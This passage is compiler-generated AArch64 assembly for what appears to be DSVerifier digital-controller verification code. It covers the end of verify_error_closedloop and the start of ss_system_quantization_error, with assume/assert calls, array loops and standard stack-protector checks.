fcmpe d1, d0
bls .L1339
b .L1296
.L1339:
mov w0, 1
b .L1299
.L1296:
mov w0, 0
.L1299:
and w0, w0, 1
and w0, w0, 255
bl __DSVERIFIER_assume
str wzr, [x29, 1192]
b .L1300
.L1301:
ldr x1, [x29, 1360]
ldrsw x0, [x29, 1192]
ldr d0, [x29, 1432]
str d0, [x1, x0, lsl 3]
ldr x1, [x29, 1376]
ldrsw x0, [x29, 1192]
ldr d0, [x29, 1432]
str d0, [x1, x0, lsl 3]
ldr x1, [x29, 1328]
ldrsw x0, [x29, 1192]
str xzr, [x1, x0, lsl 3]
ldr x1, [x29, 1344]
ldrsw x0, [x29, 1192]
str xzr, [x1, x0, lsl 3]
ldr w0, [x29, 1192]
add w0, w0, 1
str w0, [x29, 1192]
.L1300:
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w1, [x0]
ldr w0, [x29, 1192]
cmp w0, w1
blt .L1301
str wzr, [x29, 1192]
b .L1302
.L1303:
ldr x1, [x29, 1392]
ldrsw x0, [x29, 1192]
ldr d0, [x29, 1432]
str d0, [x1, x0, lsl 3]
ldr x1, [x29, 1408]
ldrsw x0, [x29, 1192]
ldr d0, [x29, 1432]
str d0, [x1, x0, lsl 3]
ldr w0, [x29, 1192]
add w0, w0, 1
str w0, [x29, 1192]
.L1302:
ldr w1, [x29, 1192]
ldr w0, [x29, 1212]
cmp w1, w0
blt .L1303
ldr w1, [x29, 1216]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 1440]
sxtw x0, w1
str x0, [x29, 336]
str xzr, [x29, 344]
ldp x2, x3, [x29, 336]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 888]
ldr x4, [x29, 888]
orr x0, x0, x4
str x0, [x29, 888]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 880]
sxtw x0, w1
str x0, [x29, 320]
str xzr, [x29, 328]
ldp x2, x3, [x29, 320]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 872]
ldr x4, [x29, 872]
orr x0, x0, x4
str x0, [x29, 872]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 864]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1304:
cmp sp, x0
beq .L1305
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1304
.L1305:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1306
str xzr, [sp, 1024]
.L1306:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 1448]
ldr w1, [x29, 1216]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 1456]
sxtw x0, w1
str x0, [x29, 304]
str xzr, [x29, 312]
ldp x2, x3, [x29, 304]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 856]
ldr x4, [x29, 856]
orr x0, x0, x4
str x0, [x29, 856]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 848]
sxtw x0, w1
str x0, [x29, 288]
str xzr, [x29, 296]
ldp x2, x3, [x29, 288]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 840]
ldr x4, [x29, 840]
orr x0, x0, x4
str x0, [x29, 840]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 832]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1307:
cmp sp, x0
beq .L1308
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1307
.L1308:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1309
str xzr, [sp, 1024]
.L1309:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 1464]
ldr w1, [x29, 1216]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 1472]
sxtw x0, w1
str x0, [x29, 272]
str xzr, [x29, 280]
ldp x2, x3, [x29, 272]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 824]
ldr x4, [x29, 824]
orr x0, x0, x4
str x0, [x29, 824]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 816]
sxtw x0, w1
str x0, [x29, 256]
str xzr, [x29, 264]
ldp x2, x3, [x29, 256]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 808]
ldr x4, [x29, 808]
orr x0, x0, x4
str x0, [x29, 808]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 800]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1310:
cmp sp, x0
beq .L1311
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1310
.L1311:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1312
str xzr, [sp, 1024]
.L1312:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 1480]
ldr w1, [x29, 1216]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 1488]
sxtw x0, w1
str x0, [x29, 240]
str xzr, [x29, 248]
ldp x2, x3, [x29, 240]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 792]
ldr x4, [x29, 792]
orr x0, x0, x4
str x0, [x29, 792]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 784]
sxtw x0, w1
str x0, [x29, 224]
str xzr, [x29, 232]
ldp x2, x3, [x29, 224]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 776]
ldr x4, [x29, 776]
orr x0, x0, x4
str x0, [x29, 776]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 768]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1313:
cmp sp, x0
beq .L1314
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1313
.L1314:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1315
str xzr, [sp, 1024]
.L1315:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 1496]
ldr w2, [x29, 1216]
ldr w1, [x29, 1212]
ldr w0, [x29, 1212]
cmp w1, w2
csel w0, w0, w2, ge
str w0, [x29, 1220]
ldr w1, [x29, 1220]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 1504]
sxtw x0, w1
str x0, [x29, 208]
str xzr, [x29, 216]
ldp x2, x3, [x29, 208]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 760]
ldr x4, [x29, 760]
orr x0, x0, x4
str x0, [x29, 760]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 752]
sxtw x0, w1
str x0, [x29, 192]
str xzr, [x29, 200]
ldp x2, x3, [x29, 192]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 744]
ldr x4, [x29, 744]
orr x0, x0, x4
str x0, [x29, 744]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 736]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1316:
cmp sp, x1
beq .L1317
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1316
.L1317:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1318
str xzr, [sp, 1024]
.L1318:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 1512]
ldr w0, [x29, 1220]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 1520]
sxtw x1, w0
str x1, [x29, 176]
str xzr, [x29, 184]
ldp x2, x3, [x29, 176]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 728]
ldr x4, [x29, 728]
orr x1, x1, x4
str x1, [x29, 728]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 720]
sxtw x1, w0
str x1, [x29, 160]
str xzr, [x29, 168]
ldp x2, x3, [x29, 160]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 712]
ldr x4, [x29, 712]
orr x1, x1, x4
str x1, [x29, 712]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 704]
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1319:
cmp sp, x1
beq .L1320
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1319
.L1320:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1321
str xzr, [sp, 1024]
.L1321:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 1528]
ldr w0, [x29, 1220]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 1536]
sxtw x1, w0
str x1, [x29, 144]
str xzr, [x29, 152]
ldp x2, x3, [x29, 144]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 696]
ldr x4, [x29, 696]
orr x1, x1, x4
str x1, [x29, 696]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 688]
sxtw x1, w0
str x1, [x29, 128]
str xzr, [x29, 136]
ldp x2, x3, [x29, 128]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 680]
ldr x4, [x29, 680]
orr x1, x1, x4
str x1, [x29, 680]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 672]
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1322:
cmp sp, x1
beq .L1323
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1322
.L1323:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1324
str xzr, [sp, 1024]
.L1324:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 1544]
ldr w0, [x29, 1220]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 1552]
sxtw x1, w0
str x1, [x29, 112]
str xzr, [x29, 120]
ldp x2, x3, [x29, 112]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 664]
ldr x4, [x29, 664]
orr x1, x1, x4
str x1, [x29, 664]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 656]
sxtw x1, w0
str x1, [x29, 96]
str xzr, [x29, 104]
ldp x2, x3, [x29, 96]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 648]
ldr x4, [x29, 648]
orr x1, x1, x4
str x1, [x29, 648]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 640]
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1325:
cmp sp, x1
beq .L1326
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1325
.L1326:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1327
str xzr, [sp, 1024]
.L1327:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 1560]
str wzr, [x29, 1192]
b .L1328
.L1329:
ldr x0, [x29, 1448]
ldrsw x1, [x29, 1192]
str xzr, [x0, x1, lsl 3]
ldr x0, [x29, 1464]
ldrsw x1, [x29, 1192]
str xzr, [x0, x1, lsl 3]
ldr w0, [x29, 1192]
add w0, w0, 1
str w0, [x29, 1192]
.L1328:
ldr w1, [x29, 1192]
ldr w0, [x29, 1216]
cmp w1, w0
blt .L1329
str wzr, [x29, 1192]
b .L1330
.L1335:
ldr x0, [x29, 1360]
ldrsw x1, [x29, 1192]
ldr d0, [x0, x1, lsl 3]
ldr w1, [x29, 1212]
ldr x0, [x29, 1392]
bl shiftLDouble
add x1, x29, 2376
add x0, x29, 3176
ldr w5, [x29, 1212]
ldr w4, [x29, 1216]
mov x3, x1
mov x2, x0
ldr x1, [x29, 1392]
ldr x0, [x29, 1448]
bl double_direct_form_1
ldr x0, [x29, 1328]
ldrsw x1, [x29, 1192]
str d0, [x0, x1, lsl 3]
ldr x0, [x29, 1328]
ldrsw x1, [x29, 1192]
ldr d0, [x0, x1, lsl 3]
ldr w1, [x29, 1216]
ldr x0, [x29, 1448]
bl shiftLDouble
ldr x0, [x29, 1376]
ldrsw x1, [x29, 1192]
ldr d0, [x0, x1, lsl 3]
ldr w1, [x29, 1212]
ldr x0, [x29, 1408]
bl shiftLDouble
add x1, x29, 1576
add x0, x29, 3976
ldr w5, [x29, 1212]
ldr w4, [x29, 1216]
mov x3, x1
mov x2, x0
ldr x1, [x29, 1408]
ldr x0, [x29, 1464]
bl double_direct_form_1
ldr x0, [x29, 1344]
ldrsw x1, [x29, 1192]
str d0, [x0, x1, lsl 3]
ldr x0, [x29, 1344]
ldrsw x1, [x29, 1192]
ldr d0, [x0, x1, lsl 3]
ldr w1, [x29, 1216]
ldr x0, [x29, 1464]
bl shiftLDouble
ldr x0, [x29, 1344]
ldrsw x1, [x29, 1192]
ldr d8, [x0, x1, lsl 3]
ldr x0, [x29, 1328]
ldrsw x1, [x29, 1192]
ldr d0, [x0, x1, lsl 3]
fcvtzs x0, d0
bl fxp_to_double
fsub d0, d8, d0
str d0, [x29, 1568]
adrp x0, impl
add x0, x0, :lo12:impl
ldr d0, [x0, 48]
ldr d1, [x29, 1568]
fcmpe d1, d0
bmi .L1340
b .L1331
.L1340:
adrp x0, impl
add x0, x0, :lo12:impl
ldr d0, [x0, 48]
fneg d0, d0
ldr d1, [x29, 1568]
fcmpe d1, d0
bgt .L1341
b .L1331
.L1341:
mov w0, 1
b .L1334
.L1331:
mov w0, 0
.L1334:
and w0, w0, 1
and w0, w0, 255
bl __DSVERIFIER_assert
ldr w0, [x29, 1192]
add w0, w0, 1
str w0, [x29, 1192]
.L1330:
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w0, [x0]
ldr w1, [x29, 1192]
cmp w1, w0
blt .L1335
mov w0, 0
mov sp, x19
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [x29, 4776]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L1337
bl __stack_chk_fail
.L1337:
mov w0, w1
sub sp, x29, #16
.cfi_def_cfa 31, 4800
ldr d8, [sp, 104]
ldp x19, x20, [sp, 32]
ldp x21, x22, [sp, 48]
ldp x23, x24, [sp, 64]
ldp x25, x26, [sp, 80]
ldr x27, [sp, 96]
ldp x29, x30, [sp, 16]
mov x12, 4800
add sp, sp, x12
.cfi_restore 29
.cfi_restore 30
.cfi_restore 27
.cfi_restore 25
.cfi_restore 26
.cfi_restore 23
.cfi_restore 24
.cfi_restore 21
.cfi_restore 22
.cfi_restore 19
.cfi_restore 20
.cfi_restore 72
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE141:
.size verify_error_closedloop, .-verify_error_closedloop
.global new_state
.bss
.align 3
.type new_state, %object
.size new_state, 128
new_state:
.zero 128
.global new_stateFWL
.align 3
.type new_stateFWL, %object
.size new_stateFWL, 128
new_stateFWL:
.zero 128
.global _controller_fxp
.align 3
.type _controller_fxp, %object
.size _controller_fxp, 1040
_controller_fxp:
.zero 1040
.global _controller_double
.align 3
.type _controller_double, %object
.size _controller_double, 1040
_controller_double:
.zero 1040
.text
.align 2
.global ss_system_quantization_error
.type ss_system_quantization_error, %function
ss_system_quantization_error:
.LFB142:
.cfi_startproc
sub sp, sp, #1120
.cfi_def_cfa_offset 1120
stp x29, x30, [sp]
.cfi_offset 29, -1120
.cfi_offset 30, -1112
mov x29, sp
str x0, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 1112]
mov x1, 0
ldr d0, [sp, 24]
scvtf d0, d0
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
str d0, [x0, 768]
str wzr, [sp, 40]
b .L1343
.L1346:
str wzr, [sp, 44]
b .L1344
.L1345:
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 44]
ldrsw x2, [sp, 40]
lsl x2, x2, 2
add x1, x2, x1
ldr d0, [x0, x1, lsl 3]
ldrsw x0, [sp, 44]
ldrsw x1, [sp, 40]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 72
str d0, [x1, x0]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1344:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 44]
cmp w1, w0
blt .L1345
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L1343:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 40]
cmp w1, w0
blt .L1346
str wzr, [sp, 40]
b .L1347
.L1350:
str wzr, [sp, 44]
b .L1348
.L1349:
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 44]
ldrsw x2, [sp, 40]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 16
ldr d0, [x0, x1, lsl 3]
ldrsw x0, [sp, 44]
ldrsw x1, [sp, 40]
lsl x1, x1, 2
add x0, x1, x0
add x0, x0, 16
lsl x0, x0, 3
add x1, sp, 72
str d0, [x1, x0]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1348:
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
ldr w1, [sp, 44]
cmp w1, w0
blt .L1349
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L1347:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 40]
cmp w1, w0
blt .L1350
str wzr, [sp, 40]
b .L1351
.L1354:
str wzr, [sp, 44]
b .L1352
.L1353:
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 44]
ldrsw x2, [sp, 40]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 32
ldr d0, [x0, x1, lsl 3]
ldrsw x0, [sp, 44]
ldrsw x1, [sp, 40]
lsl x1, x1, 2
add x0, x1, x0
add x0, x0, 32
lsl x0, x0, 3
add x1, sp, 72
str d0, [x1, x0]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1352:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 44]
cmp w1, w0
blt .L1353
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L1351:
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
ldr w1, [sp, 40]
cmp w1, w0
blt .L1354
str wzr, [sp, 40]
b .L1355
.L1358:
str wzr, [sp, 44]
b .L1356
.L1357:
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 44]
ldrsw x2, [sp, 40]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 48
ldr d0, [x0, x1, lsl 3]
ldrsw x0, [sp, 44]
ldrsw x1, [sp, 40]
lsl x1, x1, 2
add x0, x1, x0
add x0, x0, 48
lsl x0, x0, 3
add x1, sp, 72
str d0, [x1, x0]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1356:
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
ldr w1, [sp, 44]
cmp w1, w0
blt .L1357
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L1355:
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
ldr w1, [sp, 40]
cmp w1, w0
blt .L1358
str wzr, [sp, 40]
b .L1359
.L1362:
str wzr, [sp, 44]
b .L1360
.L1361:
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 44]
ldrsw x2, [sp, 40]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 64
ldr d0, [x0, x1, lsl 3]
ldrsw x0, [sp, 44]
ldrsw x1, [sp, 40]
lsl x1, x1, 2
add x0, x1, x0
add x0, x0, 64
lsl x0, x0, 3
add x1, sp, 72
str d0, [x1, x0]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1360:
ldr w0, [sp, 44]
cmp w0, 0
ble .L1361
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L1359:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 40]
cmp w1, w0
blt .L1362
str wzr, [sp, 40]
b .L1363
.L1366:
str wzr, [sp, 44]
b .L1364
.L1365:
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 44]
ldrsw x2, [sp, 40]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 96
ldr d0, [x0, x1, lsl 3]
ldrsw x0, [sp, 44]
ldrsw x1, [sp, 40]
lsl x1, x1, 2
add x0, x1, x0
add x0, x0, 96
lsl x0, x0, 3
add x1, sp, 72
str d0, [x1, x0]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1364:
ldr w0, [sp, 44]
cmp w0, 0
ble .L1365
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L1363:
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
ldr w1, [sp, 40]
cmp w1, w0
blt .L1366
str wzr, [sp, 40]
b .L1367
.L1370:
str wzr, [sp, 44]
b .L1368
.L1369:
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 44]
ldrsw x2, [sp, 40]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 80
ldr d0, [x0, x1, lsl 3]
ldrsw x0, [sp, 44]
ldrsw x1, [sp, 40]
lsl x1, x1, 2
add x0, x1, x0
add x0, x0, 80
lsl x0, x0, 3
add x1, sp, 72
str d0, [x1, x0]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1368:
ldr w0, [sp, 44]
cmp w0, 0
ble .L1369
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L1367:
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
ldr w1, [sp, 40]
cmp w1, w0
blt .L1370
str xzr, [sp, 48]
str wzr, [sp, 40]
b .L1371
.L1374:
str wzr, [sp, 44]
b .L1372
.L1373:
adrp x0, new_state
add x0, x0, :lo12:new_state
ldrsw x1, [sp, 44]
ldrsw x2, [sp, 40]
lsl x2, x2, 2
add x1, x2, x1
ldr d0, [x0, x1, lsl 3]
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 44]
ldrsw x2, [sp, 40]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 64
str d0, [x0, x1, lsl 3]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1372:
ldr w0, [sp, 44]
cmp w0, 0
ble .L1373
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L1371:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 40]
cmp w1, w0
blt .L1374
bl double_state_space_representation
str d0, [sp, 56]
str wzr, [sp, 40]
b .L1375
.L1378:
str wzr, [sp, 44]
b .L1376
.L1377:
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 44]
ldrsw x2, [sp, 40]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 64
ldr d0, [x0, x1, lsl 3]
adrp x0, new_state
add x0, x0, :lo12:new_state
ldrsw x1, [sp, 44]
ldrsw x2, [sp, 40]
lsl x2, x2, 2
add x1, x2, x1
str d0, [x0, x1, lsl 3]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1376:
ldr w0, [sp, 44]
cmp w0, 0
ble .L1377
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L1375:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 40]
cmp w1, w0
blt .L1378
ldr d0, [sp, 24]
scvtf d0, d0
str d0, [sp, 840]
str wzr, [sp, 40]
b .L1379
.L1382:
str wzr, [sp, 44]
b .L1380
.L1381:
ldrsw x0, [sp, 44]
ldrsw x1, [sp, 40]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 72
ldr d0, [x1, x0]
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 44]
ldrsw x2, [sp, 40]
lsl x2, x2, 2
add x1, x2, x1
str d0, [x0, x1, lsl 3]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1380:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 44]
cmp w1, w0
blt .L1381
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L1379:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 40]
cmp w1, w0
blt .L1382
str wzr, [sp, 40]
b .L1383
.L1386:
str wzr, [sp, 44]
b .L1384
.L1385:
ldrsw x0, [sp, 44]
ldrsw x1, [sp, 40]
lsl x1, x1, 2
add x0, x1, x0
add x0, x0, 16
lsl x0, x0, 3
add x1, sp, 72
ldr d0, [x1, x0]
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 44]
ldrsw x2, [sp, 40]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 16
str d0, [x0, x1, lsl 3]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1384:
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
ldr w1, [sp, 44]
cmp w1, w0
blt .L1385
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L1383:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 40]
cmp w1, w0
blt .L1386
str wzr, [sp, 40]
b .L1387
.L1390:
str wzr, [sp, 44]
b .L1388
.L1389:
ldrsw x0, [sp, 44]
ldrsw x1, [sp, 40]
lsl x1, x1, 2
add x0, x1, x0
add x0, x0, 32
lsl x0, x0, 3
add x1, sp, 72
ldr d0, [x1, x0]
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 44]
ldrsw x2, [sp, 40]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 32
str d0, [x0, x1, lsl 3]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1388:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 44]
cmp w1, w0
blt .L1389
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L1387:
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
ldr w1, [sp, 40]
cmp w1, w0
blt .L1390
str wzr, [sp, 40]
b .L1391
.L1394:
str wzr, [sp, 44]
b .L1392
.L1393:
ldrsw x0, [sp, 44]
ldrsw x1, [sp, 40]
lsl x1, x1, 2
add x0, x1, x0
add x0, x0, 48
lsl x0, x0, 3
add x1, sp, 72
ldr d0, [x1, x0]
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 44]
ldrsw x2, [sp, 40]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 48
str d0, [x0, x1, lsl 3]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1392:
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
ldr w1, [sp, 44]
cmp w1, w0
blt .L1393
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L1391:
adrp x0, :got:nOutputs
